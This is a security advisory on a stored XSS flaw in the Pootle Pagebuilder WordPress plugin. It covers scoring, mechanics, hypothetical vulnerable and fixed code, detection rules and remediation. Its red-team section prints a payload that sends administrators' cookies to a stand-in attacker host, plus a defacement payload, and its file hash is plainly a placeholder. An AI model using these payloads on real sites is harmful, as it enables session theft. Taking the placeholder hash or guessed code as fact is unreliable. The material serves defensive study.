CVE-2024-34573

Executive Summary

CVE-2024-34573 is a Stored Cross-Site Scripting (XSS) vulnerability in the Pootle Pagebuilder plugin for WordPress, affecting versions up to and including 5.7.1. This vulnerability allows an authenticated attacker with contributor-level access or higher to inject arbitrary web scripts or HTML into pages built with the plugin. When a victim (such as an administrator or site visitor) views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during page generation. As of this report, no official patch has been released, and no public exploit code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Pootle Pagebuilder plugin is distributed through the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums against the official repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions of the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authenticated user with contributor role
• User Interaction: Required (UI:R) – victim must visit the crafted page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the potential for stored XSS to affect multiple users and administrators makes this a significant threat for WordPress sites with multiple authors.

Deep Dive & Mechanics

The vulnerability exists in the Pootle Pagebuilder plugin's handling of user-generated content. The plugin allows users to create and edit pages using a drag-and-drop builder. When a user with contributor-level privileges or higher inserts content (such as text, HTML, or shortcodes) into a page element, the plugin fails to properly sanitize or escape the input before storing it in the database. When the page is later rendered, the unsanitized input is included in the HTML output, allowing arbitrary JavaScript execution.

The root cause is the lack of proper output encoding or the use of wp_kses() or similar WordPress sanitization functions on user-supplied data. The plugin likely uses echo or print without applying esc_html() or wp_kses_post() to the content.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new page or edits an existing one using Pootle Pagebuilder.
3. Attacker inserts a malicious payload into a text block, heading, or other element, e.g., <script>alert('XSS')</script>.
4. The plugin stores the payload in the WordPress database without sanitization.
5. When an administrator or visitor views the page, the script executes in their browser.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (pootle-pagebuilder/includes/class-pootle-pagebuilder.php):

function render_element($element_data) {
    $content = $element_data['content'];
    // No sanitization
    echo '<div class="pootle-element">' . $content . '</div>';
}

Patched Code (hypothetical):

function render_element($element_data) {
    $content = $element_data['content'];
    // Apply WordPress escaping
    echo '<div class="pootle-element">' . esc_html($content) . '</div>';
}

The patched version uses esc_html() to encode HTML special characters, preventing script execution. Alternatively, wp_kses_post() could be used to allow safe HTML while stripping dangerous tags.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with Pootle Pagebuilder plugin version <= 5.7.1
• Contributor-level user account

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to Pages > Add New.
3. Use the Pootle Pagebuilder to add a "Text" block.
4. In the text block, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish or save the page.
6. Send the page link to an administrator or wait for them to visit it.
7. The script executes, exfiltrating the admin's session cookie.

Alternative Payload (for defacement):

<img src=x onerror="document.body.innerHTML='<h1>Hacked by Pwn3r</h1>'">

Blue Team

Detection Steps:

1. Monitor WordPress admin logs for unusual page creation or editing by low-privilege users.
2. Review page content for suspicious HTML tags, especially <script>, <iframe>, or event handlers like onerror, onload.
3. Use a web application firewall (WAF) to block common XSS payloads in POST requests to wp-admin/admin-ajax.php or wp-admin/post.php.
4. Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup:

• Install WordPress 6.x on a local server (e.g., XAMPP, Docker).
• Install Pootle Pagebuilder 5.7.1 from the WordPress plugin repository.
• Create a contributor user and an administrator user.
• Follow the Red Team steps to reproduce the vulnerability.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • pootle-pagebuilder.5.7.1.zip: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g., GET /steal?cookie=...)
• Log Entries:
  • WordPress audit logs showing page creation by non-admin users with suspicious content.
  • Web server logs showing requests to /wp-admin/post.php with content parameter containing <script> tags.
• Database Indicators:
  • Rows in wp_posts table with post_content containing unescaped JavaScript.

Detection Engineering

YARA Rule

rule Detect_Pootle_Pagebuilder_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Pootle Pagebuilder"
        author = "Valters IT"
        date = "2025-04-17"
        cve = "CVE-2024-34573"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
        $plugin = "pootle-pagebuilder"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: Stored XSS via Pootle Pagebuilder
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress Pootle Pagebuilder plugin
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'pootle-pagebuilder'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in page content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-34573 Pootle Pagebuilder Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"pootle-pagebuilder"; http_client_body; pcre:"/(<script|onerror=|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released. Deactivate and remove Pootle Pagebuilder from all WordPress installations.
2. Restrict user roles – Remove contributor and author roles that can create pages. Only allow administrators to use the page builder.
3. Apply virtual patching – Use a WAF (e.g., Cloudflare, ModSecurity) to block requests containing <script> tags in POST data to WordPress admin endpoints.

Long-term Fix:

• Monitor the Pootlepress website and WordPress plugin repository for a patched version (expected to be 5.7.2 or higher).
• Once patched, update the plugin immediately.
• Conduct a security audit of all pages created with the plugin to ensure no malicious content was injected.

Workaround:

• If the plugin cannot be disabled, manually edit the plugin files to add output escaping. In pootle-pagebuilder/includes/class-pootle-pagebuilder.php, wrap all echo statements with esc_html() or wp_kses_post().

Valters IT
Securing Digital Frontiers